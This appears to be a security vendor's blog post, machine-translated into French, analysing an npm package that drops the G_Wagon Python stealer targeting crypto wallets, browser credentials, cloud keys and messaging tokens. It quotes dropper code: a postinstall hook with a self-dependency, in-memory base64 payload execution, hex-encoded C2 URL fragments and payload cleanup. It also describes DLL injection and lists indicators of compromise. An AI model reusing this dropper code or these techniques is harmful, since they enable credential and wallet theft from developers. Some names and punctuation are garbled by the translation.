Aikido

G_Wagon : un paquet npm déploie un logiciel malveillant Python visant plus de 100 portefeuilles cryptographiques

Charlie EriksenCharlie Eriksen
|
#
#
#

À 08h46 UTC le 23 janvier 2026, notre système de détection des logiciels malveillants a signalé un paquet appelé ansi-interface-universelle. Le nom fait penser à une bibliothèque de composants d'interface utilisateur ennuyeuse. La description indique même qu'il s'agit d'un «un système de composants d'interface utilisateur léger et modulaire pour les applications web modernes.« Très professionnel. Très normal. Sauf que ce n'est pas le cas. »

Nous avons découvert un logiciel sophistiqué de vol d'informations en plusieurs étapes qui télécharge son propre runtime Python, exécute une charge utile fortement obscurcie et exfiltre vos identifiants de navigateur, vos portefeuilles de cryptomonnaie, cloud et vos jetons Discord vers un compartiment de stockage Appwrite. Il contient également une DLL Windows intégrée qui s'injecte dans les processus du navigateur à l'aide d'API natives NT. Le logiciel malveillant s'appelle «G_Wagon » en interne, sans doute parce que ses auteurs ont des goûts de luxe.

Observer une attaque se développer en temps réel

Celui-ci est intéressant car nous pouvons voir l'ensemble du processus de développement. L'attaquant a publié 10 versions en deux jours, et chaque version raconte une partie de l'histoire.

Jour 1 (21 janvier) - Test de l'infrastructure du compte-gouttes :

  • v1.0.0 (15:54 UTC) : structure initiale utilisant le module tar de npm
  • v1.2.0 (16:03 UTC) : Passage au système tar, première auto-dépendance.
  • v1.3.2 (16:09 UTC) : Ajout d'un hook post-installation (pas encore de charge utile)
  • v1.3.3 (16:18 UTC) : correction d'un bug de redirection

Jour 2 (23 janvier) - Militarisation :

  • v1.3.5 (08:46 UTC) : Ajout d'une URL C2, d'une fausse marque, suppression d'un espace réservé.
  • v1.3.6 (08:53 UTC) : Réactivation de l'auto-dépendance pour la double exécution.
  • v1.3.7 (09:09 UTC) : Ajout d'une protection anti-analyse, messages de journalisation nettoyés.
  • v1.4.0 (12:27 UTC) : Passage à Francfort C2, la charge utile passe désormais par stdin (sans jamais toucher le disque).
  • v1.4.1 (12:48 UTC) : Ajout d'un obscurcissement, de chaînes codées en hexadécimal et d'une classe d'interface utilisateur leurre.
  • v1.4.2 (13:06 UTC) : correction d'un bug (la version v1.4.1 perturbait le chemin Python)

L'attaquant poursuit activement ses tentatives. Pendant que nous rédigions cet article, il a publié trois nouvelles versions.

La phase de test

Les premières versions (1.0.0 à travers 1.3.3) contenaient tous un fichier appelé py.py avec ce contenu :

print(« code python exécuté ! »)

C'est tout. Juste un espace réservé pour tester si la chaîne d'exécution fonctionnait. L'attaquant était en train de mettre en place une infrastructure.

Dans la version 1.2.0, ils ont apporté une modification intéressante. Ils ont supprimé la dépendance npm tar et sont passés à l'exécution directe de la commande tar du système :

- const tar = require('tar');
+ const https = require('https');

- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);

+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);

Pourquoi ? Moins de dépendances npm signifie moins de surface d'exposition pour la détection. Cela signifie également que le paquet fonctionne sans avoir à installer quoi que ce soit depuis npm.

Mais ils ont introduit un bug. La gestion des redirections ne fonctionnait pas correctement :

if (res.statusCode === 302 || res.statusCode === 301) {
    downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
    return;
}

Ils ont corrigé cela dans la version 1.3.3 :

if (res.statusCode === 302 || res.statusCode === 301) {
    const newUrl = res.headers.location;
    downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
    return;
}

C'est pourquoi nous constatons un écart entre les versions 1.3.3 et 1.3.5. Ils ont testé, détecté le bug, corrigé celui-ci, vérifié qu'il fonctionnait, puis sont revenus deux jours plus tard pour l'exploiter.

La militarisation

Tout change dans la version 1.3.5. Examinons les principales différences :

- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = «cloud »;
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');

Au lieu d'exécuter l'espace réservé local, il télécharge désormais la charge utile à partir d'un compartiment de stockage Appwrite.

Ils ont également ajouté un commentaire révélateur qui a été supprimé dans la version finale :

// console.log("Fetching latest logic..."); // Uncomment if you want them to see this

L'attaquant pensait clairement à la sécurité opérationnelle.

La fausse marque

La version 1.3.5 a également ajouté la légitimité. Le fichier package.json est passé de :

{
  "description": "A cross-platform tool powered by Python"
}

À :

{
  "description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
  "keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
  "author": "Universal Design Team",
  "license": "MIT"
}

Ils ont ajouté un README.md plein de mots à la mode :

Universal UI est une bibliothèque de composants primitifs déclaratifs conçue pour un rendu d'interface hautement performant. Elle fournit une couche unifiée pour la gestion des états visuels, des thèmes et des systèmes de mise en page dans les architectures d'applications modernes.

Et mon préféré :

Moteur de rendu virtuel : Algorithme de comparaison optimisé qui garantit des transitions fluides et un minimum de rafraîchissements lors des changements d'état.

Rien de tout cela n'est réel. Il n'y a pas de ThemeProvider. Il n'y a pas de moteur de rendu virtuel. Il n'y a que des logiciels malveillants.

L'astuce de l'autonomie

Regardez le fichier package.json de la version 1.3.7:

{
  "scripts": {
    "postinstall": "node index.js"
  },
  "dependencies": {
    "ansi-universal-ui": "^1.3.5"
  }
}

Le paquet dépend de lui-même. La version 1.3.7 nécessite la version ^1.3.5. Lorsque npm installe le paquet, il exécute le hook postinstall. Il installe ensuite la dépendance (une version plus ancienne de lui-même), qui exécute à nouveau le hook postinstall. Double exécution.

Il est intéressant de noter qu'ils ont supprimé cette fonctionnalité dans la version 1.3.5, puis l'ont réajoutée dans la version 1.3.6. Probablement pour vérifier si elle causait des problèmes.

L'anti-criminalistique

La version 1.3.7 a ajouté un code de nettoyage pour supprimer la charge utile après exécution :

child.on('close', (code) => {
    try {
        if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
            fs.unlinkSync(LOCAL_SCRIPT_PATH);
        }
    } catch (cleanupErr) {
        // Ignore cleanup errors
    }
    process.exit(code);
});

Ils ont également nettoyé les messages du journal :

- console.log(« Configuration de l'environnement Python... »);
+ console.log(« Initialisation du runtime UI... »);

«Configuration de l'environnement Python » est suspect. «Initialisation du runtime UI » semble être une bibliothèque UI légitime qui effectue des tâches propres à une bibliothèque UI.

En constante évolution : v1.4.x

Pendant que nous analysions ce logiciel malveillant, l'attaquant en a lancé deux autres versions. Ils apprennent vite.

v1.4.0 a apporté un changement majeur : la charge utile Python n'accède plus au disque. Au lieu de télécharger un fichier et de l'exécuter, le dropper récupère désormais le code Python encodé en base64 depuis le C2, le décode en mémoire et le transfère directement vers python - via stdin :

e

const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');

const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();

Aucun fichier à supprimer. Aucun artefact laissé derrière.

La version 1.4.1 est allée plus loin dans l'obfuscation. L'URL C2 est désormais divisée en morceaux codés en hexadécimal :

const _ui_assets = [    "68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
     « 3639363865613536303033313663313238663232 »,     « 2f66696c65732f »,
     « 363937333638333830303333343933353735373... »
] ;const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('') ;

Ils ont également ajouté une classe leurre pour que le code ressemble à une véritable bibliothèque d'interface utilisateur :

class LayoutCompute {
    constructor() { this.matrix = new Float32Array(16); this.x = 0; }
    mount(v) { return (v << 2) ^ 0xAF; }
    sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}

Les répertoires ont été renommés de python_runtime à lib_core/renderer. Des variables telles que pythonCode est devenu _données_de_texture_. La fonction configurationPython est devenu _init_layerTout semble désormais ressembler à du code de rendu graphique.

Ils sont également passés exclusivement au serveur C2 de Francfort, abandonnant le point d'accès de New York.

La version 1.4.2 est arrivée 18 minutes plus tard. Ils ont cassé quelque chose. Le commentaire dans le code en dit long :

// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure

Dans v1.4.1, ils ont renommé le répertoire « renderer » pour des raisons esthétiques, mais l'archive Python s'extrait dans un dossier appelé python. Oups. Le logiciel malveillant n'aurait pas fonctionné. v1.4.2 corrige cela tout en conservant le codage hexadécimal.

Étape 2 : Voleur de G_Wagon

C'est au niveau de la charge utile Python que les choses deviennent intéressantes. Le code est obscurci par des noms de variables à une seule lettre et des constantes de chaîne, mais sa fonctionnalité apparaît clairement une fois que vous l'avez analysé.

La première chose que fait le logiciel malveillant est de rechercher un fichier appelé .gwagon_status dans votre répertoire personnel. Ce fichier contient un compteur. Si vous avez déjà été infecté deux fois, il cesse de fonctionner. Inutile de voler les mêmes données à plusieurs reprises.

Ensuite, il se met au travail.

Identifiants du navigateur: le voleur cible Chrome, Edge et Brave sur Windows et macOS. Sous Windows, il met fin aux processus du navigateur, génère une nouvelle instance avec le protocole Chrome DevTools activé et extrait tous les cookies. Il déchiffre également les mots de passe enregistrés à l'aide de l'API Windows Data Protection. Sous macOS, il extrait la clé de chiffrement du trousseau et utilise OpenSSL pour déchiffrer les données de connexion.

Portefeuilles de cryptomonnaies: c'est là que réside le véritable enjeu. Le logiciel malveillant cible plus de 100 extensions de portefeuille pour navigateur. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus et des dizaines d'autres. Il copie l'intégralité du répertoire de données de l'extension pour chaque portefeuille qu'il trouve.

La liste complète comprend des portefeuilles pour Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals et pratiquement tous les écosystèmes blockchain auxquels vous pouvez penser.

Cloud : si vous avez déjà configuré AWS CLI, Azure CLI ou Google Cloud sur votre machine, le logiciel malveillant copie vos fichiers d'identifiants. Il en va de même pour les clés SSH et votre kubeconfig. L'ensemble de votre cloud est potentiellement accessible à partir d'un simple fichier zip.

Jetons de messagerieLe vol de jetons Discord est depuis des années un élément incontournable des logiciels malveillants npm, et G_Wagon ne déçoit pas. Il s'empare également de Telegram. tdata répertoire et fichiers d'authentification Steam.

L'exfiltration

Toutes les données volées sont compressées et téléchargées dans le compartiment Appwrite de l'attaquant. Les noms de fichiers suivent un modèle : {nom d'utilisateur}@{nom d'hôte}_{navigateur}_{profil}_{fichier_original}.

Le logiciel malveillant dispose de deux serveurs C2 configurés :

  • Primaire : nyc.cloud.appwrite[.]io (Identifiant du projet : 6886229e003d46469fab)
  • Sauvegarde : fra.cloud.appwrite[.]io (Identifiant du projet : 6968e9e9000ee4ac710c)

Pour les fichiers volumineux, il divise les données en morceaux de 5 Mo et les télécharge séquentiellement. Les fichiers de plus de 50 Mo sont divisés en morceaux de 45 Mo. Les auteurs ont clairement prévu des victimes disposant de nombreuses données précieuses.

Injection de DLL

Il y a un autre élément qui distingue ce voleur. Le code Python contient un gros blob encodé en base64, une DLL Windows cryptée en XOR.

c='+qmQZ9cVqpo....=='  # Expurgé pour concis - le blob réel est beaucoup plus grand

Le code décode cela en base64, le décrypte par XOR avec une clé codée en dur, puis l'injecte dans les processus du navigateur à l'aide des API natives NT : NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, et NtCreateThreadEx.

Le logiciel malveillant comprend un analyseur PE complet qui parcourt la table d'exportation à la recherche d'une fonction appelée «Initialiser« - c'est le point d'entrée qu'il appelle après l'injection.

Remédiation et détection

Si vous avez installé ansi-interface-universelleVoici ce que vous devez faire immédiatement :

  1. Supprimez le paquet de votre projet et supprimez node_modules.
  2. Vérifiez si le .gwagon_status dans votre répertoire personnel (s'il existe, vous avez probablement été infecté)
  3. Faire tourner tous les mots de passe enregistrés dans le navigateur
  4. Révoquez et régénérez les jetons pour tous les portefeuilles de cryptomonnaie qui ont été installés en tant qu'extensions de navigateur (considérez-les comme compromis).
  5. Faites tourner les identifiants AWS/Azure/GCP si vous utilisez ces CLI.
  6. Régénérer les clés SSH
  7. Invalider les sessions Discord et Telegram

Comment savoir si vous êtes affecté en utilisant Aikido :

Si vous Aikido , vérifiez votre flux central et filtrez les problèmes liés aux logiciels malveillants. La vulnérabilité apparaîtra comme un problème critique 100/100 dans le flux. Conseil : Aikido vos référentiels chaque nuit, mais nous vous recommandons également de lancer une analyse complète.

Si vous n'êtes pas encore Aikido , créez un compte et connectez vos dépôts. Notre couverture anti-malware exclusive est incluse dans l'offre gratuite (aucune carte de crédit requise).

Pour vous protéger à l'avenir, pensez à utiliser Aikido Chain (open source), un wrapper sécurisé pour npm, npx, yarn et d'autres gestionnaires de paquets. Safe Chain s'intègre à vos workflows actuels. Il intercepte les commandes npm, npx, yarn, pnpm et pnpx et vérifie l'absence de logiciels malveillants dans les paquets avant leur installation, en les comparant à Aikido , notre renseignement sur les menaces open source renseignement sur les menaces . Bloquez les menaces avant qu'elles n'atteignent votre machine.

Indicateurs de compromission

Package

  • Nom : ansi-interface-universelle
  • Versions malveillantes : 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1

Hachages de fichiers (SHA256)

  • v1.0.0 index.js: 7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85
  • v1.2.0 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1
  • v1.3.2 index.js: 00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 (identique à v1.2.0)
  • v1.3.3 index.js: 1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7
  • v1.3.5 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (MALICIEUX)
  • v1.3.6 index.js: ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc (identique à v1.3.5, MALICIEUX)
  • v1.3.7 index.js: eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c (MALICIEUX)
  • v1.4.0 index.js: ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432 (MALICIEUX)
  • v1.4.1 index.js: a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52 (MALICIEUX)
  • py.py (toutes les versions): e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941

Remarque : v1.3.5 et v1.3.6 avoir identique index.js fichiers (uniquement package.json modifié). v1.2.0 et v1.3.2 sont également identiques (seul le hook postinstall a été ajouté).

Réseau

  • hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab (v1.3.x)
  • hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c (v1.4.x)
  • Identifiant du projet Appwrite (NYC) : 6886229e003d46469fab
  • Identifiant du projet Appwrite (FRA) : 6968e9e9000ee4ac710c
  • Identifiant du compartiment Appwrite (NYC) : 688625a0000f8a1b71e8
  • Identifiant du compartiment Appwrite (FRA) : 6968ea5600316c128f22

Système de fichiers

  • ~/.gwagon_status (compteur d'exécution, masqué sous Windows)

4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.